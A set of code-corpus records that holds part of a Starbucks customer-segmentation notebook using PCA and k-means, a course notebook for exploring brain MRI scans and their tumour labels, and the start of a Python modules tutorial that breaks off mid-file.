Bogo, Discount, Membership Class)**\n\n# In[529]:\n\n\n# Features list and resulting dataframe\nfeatures_list =['self','bogo','discount','custtype_new','custtype_old']\ndf_cust_test = df_temp[features_list]\ndf_cust_test.shape\n\n\n# In[530]:\n\n\n# Call PCA showkeycomponents\nanalysis_cust_behave = showkeycomponents(df_cust_test)\n\n\n# In[531]:\n\n\n# Data dimension before and after PCA for Experiment 1 (Segmenting Using Demographics Data)\nprint(\"Dataframe dimension before PCA: {}\".format(df_cust_test.shape))\nprint(\"Dataframe dimension after PCA: {}\".format(analysis_cust_behave.shape))\n\n\n# In[532]:\n\n\n# 3D plot of top 3 components\nthreeDplot(analysis_cust_behave)\n\n\n# Comment(s):\n# \n# Scenario 1\n# - requires 5 components to describe 90% of the variance in data\n# - 3D plot of top 3 components suggests the presence of distinct clusters\n# \n# Scenario 2\n# - requires 4 components to describe 90% of the variance in data\n# - 3D plot of top 3 components suggests the presence of distinct clusters\n\n# # 4.3 K-means Clustering\n\n# Definitions\n\n# In[533]:\n\n\nfrom sklearn.preprocessing import MaxAbsScaler\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\n\n\n# In[534]:\n\n\ndef normalize_data(df_to_normalize, no_of_components):\n    '''\n    INPUT:\n    df_to_normalize - (pandas dataframe) with features requiring standardization\n    no_of_components - (int)\n    \n    \n    OUTPUT:\n    df_normalized - (pandas dataframe) with standardized data using MaxAbsScaler\n    '''\n    scaler = MaxAbsScaler()\n    scaler.fit(df_to_normalize)\n    df_normalized = pd.DataFrame(scaler.transform(df_to_normalize), columns=df_to_normalize.columns)\n    return df_normalized.iloc[:,:no_of_components]\n    \n\n\n# In[535]:\n\n\ndef kmeans_cluster_no(df_normalized, components, max_no_cluster=20):\n    '''\n    INPUT:\n    df_to_normalize - (pandas dataframe) with features requiring standardization\n    no_of_components - (int) number of features to use in function\n    max_no_cluster - (int) number of clusters to iterate to\n    \n    \n    OUTPUT:\n    None\n    '''\n    wcss = []\n    X = df_normalized.iloc[:,:components].values\n    for i in range(1, max_no_cluster):\n        kmeans = KMeans(n_clusters=i, init='k-means++', random_state=0)\n        kmeans.fit(X)\n        wcss.append(kmeans.inertia_)\n    plt.plot(range(1,max_no_cluster),wcss)\n    plt.xlabel('number of clusters')\n    plt.ylabel('wcss values')\n    plt.title('The Elbow Method')\n    plt.grid(True)\n    plt.show()\n    return None\n\n\n# In[536]:\n\n\ndef silhouette_cluster_no(df_normalized, max_no_cluster=10):\n    '''\n    INPUT:\n    df_to_normalize - (pandas dataframe) with features requiring standardization\n    max_no_cluster - (int) number of clusters required\n    \n    \n    OUTPUT:\n    num_cluster - (int) number of segments based on highest silhouette score\n    '''\n    \n    range_n_clusters = list (range(2,max_no_cluster))\n    cluster_scores = []\n    \n    for n_clusters in range_n_clusters:\n        clusterer = KMeans(n_clusters=n_clusters,init='k-means++', random_state=0)\n        preds = clusterer.fit_predict(df_normalized)\n        centers = clusterer.cluster_centers_\n        score = silhouette_score(df_normalized, preds)\n        \n        cluster_scores.append(score)\n        \n        print(\"For n_clusters = {}, silhouette score is {})\".format(n_clusters, score))\n    \n    num_cluster = np.argmax(np.array(cluster_scores)) + 2\n    print(\"Recommended number of clusters: {}\".format(num_cluster))\n    \n    return num_cluster\n\n\n# In[537]:\n\n\ndef cluster_data(df_normalized, cluster_num):\n    '''\n    INPUT:\n    df_to_normalize - (pandas dataframe) with features requiring standardization\n    cluster_num - (int) number of clusters required\n    \n    \n    OUTPUT:\n    kcategories - (series) index values with cluster number assigned\n    '''\n    kmeansmodel = KMeans(n_clusters=cluster_num, init='k-means++', random_state=0)\n    y_kmeans = kmeansmodel.fit_predict(df_normalized)\n    kcategories = y_kmeans\n    return kcategories\n\n\n# **SCENARIO 1: Segmentation Using Demograhics Data + Membership Class (Income, Age, Sex, Membership Type)**\n\n# In[538]:\n\n\n# Identify Number of Clusters: Elbow Method\nkmeans_cluster_no(df_normalized=analysis_demographics,components=analysis_demographics.shape[1],max_no_cluster=15)\n\n\n# In[539]:\n\n\n# Identify Number of Clusters: Silhouette Method\ncluster_no_s1 = silhouette_cluster_no(df_normalized=analysis_demographics)\n\n\n# **SCENARIO 2: Segmentation Using Customer Bahaviour (Self, Bogo, Discount, Membership Class)**\n\n# In[540]:\n\n\n# Identify Number of Clusters: Elbow Method\nkmeans_cluster_no(df_normalized=analysis_cust_behave,components=analysis_cust_behave.shape[1],max_no_cluster=15)\n\n\n# In[541]:\n\n\n# Identify Number of Clusters: Silhouette Method\ncluster_no_s2 = silhouette_cluster_no(df_normalized=analysis_cust_behave)\n\n\n# **Segmentation: Demograhics vs Customer Behaviour**\n# \n# - Both methods result in four(4)/ five(5) clusters though customer behaviour has a higher silhouette score (0.7456) compared to demograhics (0.6234). By definition, the closer the score is to 1, the better.\n# \n# \n# - The use of demograhics data (age, income, sex etc.) required extensive data cleaning/manipulation to address for nulls. These impacted the underlying distribution of original data as well as accuracy of the clustering/segmentation task. In addition, the dependence on customers to provide these data is a weakness of this approach as changes in certain factors (income, sex etc.) is usually not communicated in real time or at all. Overall, the use of demographic data will create a static and most likely obsolete segmentation which might work for this test but would be unable to adapt quickly to changes in factors.\n# \n# \n# - The use of customer behaviour data addresses the concerns of using demographics data to segment. Willingness to spend and preferences are better factors for segmenting customers especially for profit-seeking businesses like Starbucks. In addition, data required is sourced from business systems and returns with no nulls. Most importantly, this approach is more responsive as changes in customer behaviour are inferred from transactions and eliminates need to depend on customers for key information.\n# \n# \n# - Finally, in the event of new customers who refuse to supply income/age/sex information, the demographics based model will fail while the customer behaviour based model will not as customer transactions will suffice.\n# \n\n# **Conclusion**\n# \n# Scenario 2 is the preferred solution and customer behaviour will be the basis for segmenting sample customer base\n\n# <a id=\"interpretation\"></a>\n\n# # 5.0 Insights\n\n# [back to top menu](#toplevel)\n\n# # 5.1 Mapping users/customers to categories\n\n# In[542]:\n\n\n# mapping users to categories\n\n# cluster categories\ncluster_category = cluster_data(df_normalized=analysis_cust_behave, cluster_num = cluster_no_s2)\n\n# Assign to matrix\ncust_profile_txn_matrix = df_temp\ncust_profile_txn_matrix['category']=cluster_category\ncust_profile_txn_matrix.head(3)\n\n\n# ## 5.2 Basic Cluster Characteristics\n\n# In[543]:\n\n\nfor cluster in range(cluster_no_s2):\n    df_sample = cust_profile_txn_matrix[cust_profile_txn_matrix.category==cluster][features_list]\n    key_par = ['count','min','mean','max']\n    print(\"Summary: Cluster {}\".format(cluster))\n    print(round(df_sample.describe().loc[key_par],1))\n    print(\"\\n\")\n\n\n# **Explanation:**\n# \n# - Category 0: Old customers with low average spend (sub 100) across self, bogo and discount.\n# - Category 1: New customers with low average spend (sub 100) across self, bogo and discount.\n# - Category 2: Customers (new and old) with high average spend (600 range) on Discount offers (clear preference for Discount).\n# - Category 3: Customers (new and old) with high average spend (600 range) on Self (not influenced by offers).\n# - Category 4: Customers (new and old) with high average spend (600 range) on BOGO (clear preference for BOGO).\n# - High Value Customers: Category 2, 3, 4\n# - Mass Market Customers: Category 0, 1\n\n# # 5.3 Offer Performance Within Categories\n\n# Data Processing for Analysis\n\n# In[544]:\n\n\n#create mapping for userid and cluster category for use on transcript dataframe\nuserid = cust_profile_txn_matrix.index.values\ncategory_no = cust_profile_txn_matrix.category.values\nmap_userid_catno = dict(zip(userid,category_no))\n\n#labelling transactions performed by users in transcript with category values\ntranscript_unpacked['category'] = transcript_unpacked['user_id'].map(map_userid_catno)\ntranscript_unpacked.head(3)\n\n\n# Defining Relevant Functions\n\n# Cluster Level Measures\n\n# In[545]:\n\n\ndef category_size(df=cust_profile_txn_matrix):\n    '''\n    INPUT:\n    df - (pandas dataframe) with customer profile and transaction data\n    \n    \n    OUTPUT:\n    df_temp_grp - (series) number of customers per cluster/category\n    '''    \n    df_temp_grp = df.groupby(['category'])['age_fill'].count()\n    \n    return df_temp_grp\n\n\n# In[546]:\n\n\ndef received_offer(offerid, txnhist=transcript_unpacked, event='offer received'):\n    '''\n    INPUT:\n    offerid - (string) short_id of promotional offer\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (series) number of customers that received offer within each cluster\n    '''    \n    df_temp = txnhist[(txnhist['short_id']==offerid) & (txnhist['event']==event)]\n    \n    df_temp_grp = df_temp.groupby(['category'])['user_id'].count()\n    \n    return df_temp_grp\n\n\n# In[547]:\n\n\ndef viewd_offer(offerid, txnhist=transcript_unpacked, event='offer viewed'):\n    '''\n    INPUT:\n    offerid - (string) short_id of promotional offer\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (series) number of customers by clusters that viewed an offer\n    '''    \n    df_temp = txnhist[(txnhist['short_id']==offerid) & (txnhist['event']==event)]\n    df_temp_grp = df_temp.groupby(['category'])['user_id'].count()\n    return df_temp_grp\n\n\n# In[548]:\n\n\ndef viewd_complete(offerid, txnhist=transcript_unpacked, event='offer:viewed'):\n    '''\n    INPUT:\n    offerid - (string) short_id of promotional offer\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (series) number of customers by clusters that completed an offer after viewing\n    '''    \n    df_temp = txnhist[(txnhist['short_id']==offerid) & (txnhist['completiontype']==event)]\n    df_temp_grp = df_temp.groupby(['category'])['user_id'].count()\n    return df_temp_grp\n\n\n# In[549]:\n\n\ndef no_txns(offerid, txnhist=transcript_unpacked, event='transaction'):\n    '''\n    INPUT:\n    offerid - (string) short_id of promotional offer\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (series) number of transactions by clusters influenced by offer \n    ''' \n    df_temp = txnhist[(txnhist['influence']==offerid) & (txnhist['event']==event)]\n    df_temp_grp = df_temp.groupby(['category'])['user_id'].count()\n    return df_temp_grp\n\n\n# In[550]:\n\n\ndef txns_value(offerid, txnhist=transcript_unpacked, event='transaction'):\n    '''\n    INPUT:\n    offerid - (string) short_id of promotional offer\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (series) value of transactions by clusters influenced by offer \n    '''\n    df_temp = txnhist[(txnhist['influence']==offerid) & (txnhist['event']==event)]\n    df_temp_grp = df_temp.groupby(['category'])['amount'].sum()\n    return df_temp_grp\n\n\n# In[551]:\n\n\ndef cat_results(offer_short_id):\n    '''\n    INPUT:\n    offer_short_id - (string) short_id of promotional offer\n\n    OUTPUT:\n    df_all - (pandas dataframe) with descriptive statistics for offer \n    '''\n    df_cat_size = pd.DataFrame(category_size())\n    df_cat_size.rename(columns = {'age_fill':'cat_pop'},inplace=True)\n    \n    df_rec_offer = pd.DataFrame(received_offer(offer_short_id))\n    df_rec_offer.rename(columns = {'user_id':'recv'},inplace=True)\n    \n    df_viewd_offer = pd.DataFrame(viewd_offer(offer_short_id))\n    df_viewd_offer.rename(columns = {'user_id':'view'},inplace=True)\n    \n    df_viewd_complete = pd.DataFrame(viewd_complete(offer_short_id))\n    df_viewd_complete.rename(columns = {'user_id':'compltn'},inplace=True)\n    \n    df_no_txns = pd.DataFrame(no_txns(offer_short_id))\n    df_no_txns.rename(columns = {'user_id':'notxns'},inplace=True)\n    \n    df_txns_value = pd.DataFrame(txns_value(offer_short_id))\n    df_txns_value.rename(columns = {'amount':'txnval'},inplace=True)  \n    \n    df_all = pd.concat([df_cat_size, df_rec_offer,df_viewd_offer,df_viewd_complete,df_no_txns,df_txns_value], axis=1)\n    df_all['avgtxnval'] = round((df_all['txnval']/df_all['notxns']),2)\n    df_all['%compltn'] = round(100*(df_all['compltn']/df_all['recv']),2)\n    \n       \n    return df_all\n\n\n# Total Measures\n\n# In[552]:\n\n\ndef offer_txns(txnhist=transcript_unpacked, event='transaction'):\n    '''\n    INPUT:\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (pandas dataframe) total value of transactions influenced by offer \n    '''\n\n    df_temp = txnhist[txnhist['event']==event]\n    df_temp_grp = pd.DataFrame(df_temp.groupby(['influence'])['event'].count())\n    df_temp_grp.rename(columns={'event':'offer_txn_count'},inplace=True)\n    return df_temp_grp\n\n\n# In[553]:\n\n\ndef offer_revenue(txnhist=transcript_unpacked, event='transaction'):\n    '''\n    INPUT:\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (pandas dataframe) total value of transactions influenced by offer \n    '''\n    df_temp = txnhist[txnhist['event']==event]\n    df_temp_grp = pd.DataFrame(df_temp.groupby(['influence'])['amount'].sum())\n    df_temp_grp.rename(columns = {'amount':'txn_value'},inplace=True)\n    return df_temp_grp\n\n\n# In[554]:\n\n\ndef offer_payout(txnhist=transcript_unpacked, event='offer completed'):\n    '''\n    INPUT:\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (pandas dataframe) total value of payouts on offer completion\n    '''\n    df_temp = txnhist[txnhist['event']==event]\n    df_temp_grp = pd.DataFrame(df_temp.groupby(['short_id'])['reward'].sum())\n    df_temp_grp.rename(columns = {'reward':'reward_payout'},inplace=True)\n    return df_temp_grp\n\n\n# In[555]:\n\n\ndef received_offer_total(txnhist=transcript_unpacked, event='offer received'):\n    '''\n    INPUT:\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (pandas dataframe) total number of offers sent/received\n    '''\n    df_temp = txnhist[txnhist['event']==event]\n    df_temp_grp = pd.DataFrame(df_temp.groupby(['short_id'])['user_id'].count())\n    df_temp_grp.rename(columns = {'user_id':'num_offer_sent'},inplace=True)\n    return df_temp_grp\n\n\n# In[556]:\n\n\ndef viewd_complete_total(txnhist=transcript_unpacked, event='offer:viewed'):\n    '''\n    INPUT:\n    txnhist - (pandas dataframe) customer transaction history\n    event - (string) event type    \n    \n    OUTPUT:\n    df_temp_grp - (pandas dataframe) total number of offers completed after viewing\n    '''\n    df_temp = txnhist[txnhist['completiontype']==event]\n    df_temp_grp = pd.DataFrame(df_temp.groupby(['short_id'])['user_id'].count())\n    df_temp_grp.rename(columns = {'user_id':'num_offers_completed'},inplace=True)\n    return df_temp_grp\n\n\n# In[557]:\n\n\ndef offer_results():\n    '''\n    INPUT:\n\n    OUTPUT:\n    df_all - (pandas dataframe) with descriptive statistics for offer \n    '''\n    \n    df_offer_txn = pd.DataFrame(offer_txns())\n    df_offer_revenue = pd.DataFrame(offer_revenue())\n    df_offer_payout = pd.DataFrame(offer_payout())\n\n    df_offer_view = pd.DataFrame(received_offer_total())\n    df_offer_compltd = pd.DataFrame(viewd_complete_total())\n\n    df_all = pd.concat([df_offer_view, df_offer_compltd, df_offer_txn,df_offer_revenue,df_offer_payout], axis=1)\n    df_all.drop(index=['info0300','info0400'], inplace=True)\n    \n  \n    \n    df_all['net_txn_value'] = df_all['txn_value'] - df_all['reward_payout']\n    df_all['payout_ratio'] = round((df_all['reward_payout']/df_all['txn_value']),2)\n    df_all['percent_completn'] = round(100*(df_all['num_offers_completed']/df_all['num_offer_sent']),2)\n    \n    df_all.fillna(0, inplace=True)\n\n    \n       \n    return df_all\n\n\n# In[558]:\n\n\ntotal_offer_perform = offer_results()\ntotal_offer_perform\n\n\n# In[559]:\n\n\n#sorting \ntotal_offer_perform.sort_values(by=['txn_value'], ascending=False)\n\n\n# Comments:\n# - Top 3 offers based on transaction value: disc1010; bogo0710; disc0707\n# \n# \n# - Offers have been ranked by transaction value because the real aim of promotional offers is to incentivise customers to transact more. \"Number of offers completed\" as a measure of the success of a promotional offer is inadequate as it does not capture the real value to Starbucks e.g. disc0707 has a higher completion rate but lower transaction value (revenue) compared to disc1010. When you factor reward payouts, the higher completion rates reduces the net transaction value (net revenue) a lot more for disc0707 compared to disc1010\n# \n# \n# - Self represents expected transaction numbers and value in the absence of any offers\n# \n\n# In[560]:\n\n\nprint(\"Description for Performance Measures\")\nprint(\"--------------------------\")\nprint(\"cat_pop: number of customers in category\")\nprint(\"recv: number of customers that received offer\")\nprint(\"view: number of customers that viewed offer\")\nprint(\"compltn: number of customers that completed offer after viewing\")\nprint(\"notxns: number of transactions influenced by offer\")\nprint(\"txnval: monetary value of transactions\")\nprint(\"%compltn: percentage of customers who completed offer after viewing\")\n\n\n# In[561]:\n\n\n# Generate performance measures for offer across categories\nfor offer in offer_list_shortid:\n    df_temp = cat_results(offer)\n    print(\"category results for {}:\".format(offer))\n    print(\"------------------------------\")\n    print(df_temp)\n    print(\"\\n\")\n\n\n# **General Trends**\n\n# - Offers which have difficulty value = duration are completed at higher rates than other offers. for example, bogo0505, disc0707, disc1010\n# \n# - Low difficulty/short duration offers generate more incremental transaction value as well as completion rates compared to high difficulty/long duration offers\n# \n# - Value of transactions influenced by an offer is a better measure of performance than completion rates (see impact of mass market categories 0, 1 with relatively low completion rates but high number of small transactions and total transaction value).\n\n# **Category-Offer Ranking Table (Descending Order of Txv Value)**\n# \n# - Category 0: disc1010; bogo0710; disc0707; bogo0510; bogo0505\n# \n# - Category 1: disc1010; bogo0710; disc0707; bogo0505; bogo0510\n# \n# - Category 2: disc1010; disc0707; disc1020; disc0710; bogo0710\n# \n# - Category 3: disc1010; bogo0710; bogo0510; bogo0505; disc0707\n# \n# - Category 4: bogo0505; bogo0510; bogo0710; bogo0705; disc1010   \n\n# ## Review of Starbucks Experiment: Concern Areas\n\n# Categorization of offer completion into offer-viewed and offer-not-viewed\n\n# In[562]:\n\n\n# Categorization of offer completion into offer-viewed and offer-not-viewed\ntranscript_unpacked[transcript_unpacked['event']=='offer completed'].tail(5)\n\n\n# In[563]:\n\n\n# Total count of offer completions which happened without offer viewing\ntranscript_unpacked[transcript_unpacked['completiontype']=='offer: not viewed'].shape[0]\n\n\n# In[564]:\n\n\n# Total value of reward paid on offer completions which happened without offer viewing\ntranscript_unpacked[transcript_unpacked['completiontype']=='offer: not viewed']['reward'].sum()\n\n\n# Multiple Active Offers\n\n# In[565]:\n\n\n# Total number of cases with 2+ active offers\ntranscript_unpacked[transcript_unpacked['active_offers']=='2+'].shape[0]\n\n\n# In[566]:\n\n\n# Total number of offer completions from multiple active offers which were double counted\ntranscript_unpacked[(transcript_unpacked['event']=='offer completed') & (transcript_unpacked['completiontype']==\"\")].shape[0]\n\n\n# In[567]:\n\n\n# Total value  of reward paid on double counted completions\ntranscript_unpacked[(transcript_unpacked['event']=='offer completed') & (transcript_unpacked['completiontype']==\"\")]['reward'].sum()\n\n", "meta": {"hexsha": "d3e8f326a57ea163b32865275f4a12c1a9404dac", "size": 47940, "ext": "py", "lang": "Python", "max_stars_repo_path": "starbucksanalyse.py", "max_stars_repo_name": "ChidiOnum/Starbucks-Capstone", "max_stars_repo_head_hexsha": "d51358c67738a01e7fe24df4efc0c6ba4e5cbf21", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "starbucksanalyse.py", "max_issues_repo_name": "ChidiOnum/Starbucks-Capstone", "max_issues_repo_head_hexsha": "d51358c67738a01e7fe24df4efc0c6ba4e5cbf21", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "starbucksanalyse.py", "max_forks_repo_name": "ChidiOnum/Starbucks-Capstone", "max_forks_repo_head_hexsha": "d51358c67738a01e7fe24df4efc0c6ba4e5cbf21", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.3333333333, "max_line_length": 622, "alphanum_fraction": 0.7152273675, "include": true, "reason": "import numpy", "num_tokens": 11414, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.17553807577999186, "lm_q1q2_score": 0.08297394793894755}}
{"text": "\n# coding: utf-8\n\n# # AI4M Course 1 week 3 lecture notebook\n\n# <a name=\"data\"></a>\n# # Explore the data\n# \n# <img src=\"mri-slice.png\" alt=\"U-net Image\" width=\"300\"/>\n# \n# In this week's assignment, you'll be working with 3D MRI brain scans from the public [Medical Segmentation Decathlon](https://decathlon-10.grand-challenge.org/) challenge project. This is an incredibly rich dataset that provides you with labels associated with each point (voxel) inside a 3D representation of a patient's brain. Ultimately, in this week's assignment, you will train a neural network to make three-dimensional spatial segmentation predictions for common brain disorders. \n# \n# In this notebook, you're all set up to explore this exciting dataset. Run the code below and tweak it to explore further!\n\n# ### Import packages\n# For this lab, you'll import some of the packages you've seen before (`numpy`, `matplotlib` and `seaborn`) as well as some new ones for reading (`nibabel`) and visualizing (`itk`, `itkwidgets`, `ipywidgets`) the data. Run the next cell to import these packages.\n\n# In[13]:\n\n\n# Import all the necessary packages\nimport numpy as np\nimport nibabel as nib\nimport itk\nimport itkwidgets\nfrom ipywidgets import interact, interactive, IntSlider, ToggleButtons\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport seaborn as sns\nsns.set_style('darkgrid')\n\n\n# ### Loading Images of the brain\n# Run the next cell to grab a single 3D MRI brain scan\n\n# In[14]:\n\n\n# Define the image path and load the data\nimage_path = \"BraTS-Data/imagesTr/BRATS_001.nii.gz\"\nimage_obj = nib.load(image_path)\nprint(f'Type of the image {type(image_obj)}')\n\n\n# ### Extract the data as a numpy array\n# Run the next cell to extract the data using the `get_fdata()` method of the image object\n\n# In[15]:\n\n\n# Extract data as numpy ndarray\nimage_data = image_obj.get_fdata()\ntype(image_data)\n\n\n# In[16]:\n\n\n# Get the image shape and print it out\nheight, width, depth, channels = image_data.shape\nprint(f\"The image object has the following dimensions: height: {height}, width:{width}, depth:{depth}, channels:{channels}\")\n\n\n# As you can see these \"image objects\" are actually 4 dimensional! With the exploratory steps below you'll get a better sense of exactly what each of these dimensions represents.\n# \n# ### Visualize the data\n# The \"depth\" listed above indicates that there are 155 layers (slices through the brain) in every image object. To visualize a single layer, run the cell below. Note that if the layer is one of the first or the last (`i` near 0 or 154), you won't find much information and the screen will be dark. Run this cell multiple times to look at different layers. \n# \n# The code is set up to grab a random layer but you can select a specific layer by choosing a value for `i` from 0 to 154. You can also change which channel you're looking at by changing the `channel` variable.\n# \n# Keep in mind that you could just as easily look at slices of this image object along the height or width dimensions. If you wish to do so, just shift `i` to a different dimension in the `plt.imshow()` command below. Which slice direction looks the most interesting to you?\n\n# In[17]:\n\n\n# Select random layer number\nmaxval = 154\ni = np.random.randint(0, maxval)\n# Define a channel to look at\nchannel = 3\nprint(f\"Plotting Layer {i} Channel {channel} of Image\")\nplt.imshow(image_data[: , :, i, channel], cmap='gray')\nplt.axis('off');\n\n\n# ### Interactive exploration\n# Another way to visualize this dataset is by using IPython Widgets to allow for an interactive exploration of the data. \n# \n# Run the next cell to explore across different layers of the data. Move the slider to explore different layers. Change the `channel` value to explore different channels. See if you can tell which layer corresponds to the top of the brain and which corresponds to the bottom!\n# \n# If you're feeling ambitious, try modifying the code below to slice along a different axis through the image object and look at other channels to see what you can discover!\n\n# In[18]:\n\n\n# Define a function to visualize the data\ndef explore_3dimage(layer):\n    plt.figure(figsize=(10, 5))\n    channel = 3\n    plt.imshow(image_data[:, :, layer, channel], cmap='gray');\n    plt.title('Explore Layers of Brain MRI', fontsize=20)\n    plt.axis('off')\n    return layer\n\n# Run the ipywidgets interact() function to explore the data\ninteract(explore_3dimage, layer=(0, image_data.shape[2] - 1));\n\n\n# ### Explore the data labels\n# In this section, you'll read in a new dataset containing the labels for the MRI scan you loaded above.\n# \n# Run the cell below to load the labels dataset for the image object you inspected above.\n\n# In[19]:\n\n\n# Define the data path and load the data\nlabel_path = \"./BraTS-Data/labelsTr/BRATS_001.nii.gz\"\nlabel_obj = nib.load(label_path)\ntype(label_obj)\n\n\n# ### Extract the data as a numpy array\n# Run the next cell to extract the data labels using the `get_fdata()` method of the image object\n\n# In[20]:\n\n\n# Extract data labels\nlabel_array = label_obj.get_fdata()\ntype(label_array)\n\n\n# In[21]:\n\n\n# Extract and print out the shape of the labels data\nheight, width, depth = label_array.shape\nprint(f\"Dimensions of labels data array height: {height}, width: {width}, depth: {depth}\")\nprint(f'With the unique values: {np.unique(label_array)}')\nprint(\"\"\"Corresponding to the following label categories: \n0: for normal \n1: for edema\n2: for non-enhancing tumor \n3: for enhancing tumor\"\"\")\n\n\n# ### Visualize the labels for a specific layer\n# Run the next cell to visualize a single layer of the labeled data. The code below is set up to show a single layer and you can set `i` to any value from 0 to 154 to look at a different layer. \n# \n# Note that if you choose a layer near 0 or 154 there might not be much to look at in the images.\n\n# In[22]:\n\n\n# Define a single layer for plotting\nlayer = 50\n# Define a dictionary of class labels\nclasses_dict = {\n    'Normal': 0.,\n    'Edema': 1.,\n    'Non-enhancing tumor': 2.,\n    'Enhancing tumor': 3. \n}\n# Set up for plotting\nfig, ax = plt.subplots(nrows=1, ncols=4, figsize=(50, 30))\nfor i in range(4):\n    img_label_str = list(classes_dict.keys())[i]\n    img = label_array[:,:,layer]\n    mask = np.where(img == classes_dict[img_label_str], 255, 0)\n    ax[i].imshow(mask)\n    ax[i].set_title(f\"Layer {layer} for {img_label_str}\", fontsize=45)\n    ax[i].axis('off')\nplt.tight_layout()\n\n\n# ### Interactive visualization across layers\n# As another way of looking at the data, run the code below to create a visualization where you can choose the class you want to look at by clicking a button to choose a particular label and scrolling across layers using the slider!\n\n# In[23]:\n\n\n# Create button values\nselect_class = ToggleButtons(\n    options=['Normal','Edema', 'Non-enhancing tumor', 'Enhancing tumor'],\n    description='Select Class:',\n    disabled=False,\n    button_style='info', \n    \n)\n# Create layer slider\nselect_layer = IntSlider(min=0, max=154, description='Select Layer', continuous_update=False)\n\n    \n# Define a function for plotting images\ndef plot_image(seg_class, layer):\n    print(f\"Plotting {layer} Layer Label: {seg_class}\")\n    img_label = classes_dict[seg_class]\n    mask = np.where(label_array[:,:,layer] == img_label, 255, 0)\n    plt.figure(figsize=(10,5))\n    plt.imshow(mask, cmap='gray')\n    plt.axis('off');\n\n# Use the interactive() tool to create the visualization\ninteractive(plot_image, seg_class=select_class, layer=select_layer)\n\n\n# #### And there you have it! We hope this lab has helped you get a better sense of the data you'll be working with in this week's assignment. \n", "meta": {"hexsha": "ce2816bc266373cfa8353c8a4affb02815d1c3e4", "size": 7647, "ext": "py", "lang": "Python", "max_stars_repo_path": "AI_for_Medical_Diagnosis/W_3/utf-8''AI4M_C1_W3_lecture_ex_01.py", "max_stars_repo_name": "YaserMarey/AI_for_Medicine_deeplearning.ai", "max_stars_repo_head_hexsha": "04b212b1bf4874fc67bacdb737cbdab6e74da97a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "AI_for_Medical_Diagnosis/W_3/utf-8''AI4M_C1_W3_lecture_ex_01.py", "max_issues_repo_name": "YaserMarey/AI_for_Medicine_deeplearning.ai", "max_issues_repo_head_hexsha": "04b212b1bf4874fc67bacdb737cbdab6e74da97a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "AI_for_Medical_Diagnosis/W_3/utf-8''AI4M_C1_W3_lecture_ex_01.py", "max_forks_repo_name": "YaserMarey/AI_for_Medicine_deeplearning.ai", "max_forks_repo_head_hexsha": "04b212b1bf4874fc67bacdb737cbdab6e74da97a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.5885167464, "max_line_length": 489, "alphanum_fraction": 0.7323133255, "include": true, "reason": "import numpy", "num_tokens": 1897, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.17106118322669, "lm_q1q2_score": 0.08285863034786475}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_json: true\n#     comment_magics: false\n#     formats: py:light,notebooks//ipynb\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# # Modules\n#\n# If your Python program gets longer, you may want to split it into several files for easier maintenance. To support this, Python has a way to put definitions in a file and use them in a script or in an interactive instance of the interpreter. Such a file is called a module.\n\n# + [markdown] {\"slideshow\": {\"slide_type\": \"slide\"}}\n# Run the cell below to create a file named fibo.py with several functions inside:\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"execution\": {\"iopub.status.busy\": \"2020-09-12T13:29:31.963243Z\", \"iopub.execute_input\": \"2020-09-12T13:29:31.964404Z\", \"iopub.status.idle\": \"2020-09-12T13:29:31.967533Z\", \"shell.execute_reply\": \"2020-09-12T13:29:31.968160Z\"}}\n%%file fibo.py\n\"\"\" Simple module with\n    two functions to compute Fibonacci series \"\"\"\n\ndef fib1(n):\n   \"\"\" write Fibonacci series up to n \"\"\"\n   a, b = 0, 1\n   while b < n:\n      print(b, end=', ')\n      a, b = b, a+b\n\ndef fib2(n):   \n    \"\"\" return Fibonacci series up to n \"\"\"\n    result = []\n    a, b = 0, 1\n    while b < n:\n        result.append(b)\n        a, b = b, a+b\n    return result\n\nif __name__ == \"__main__\":\n    import sys\n    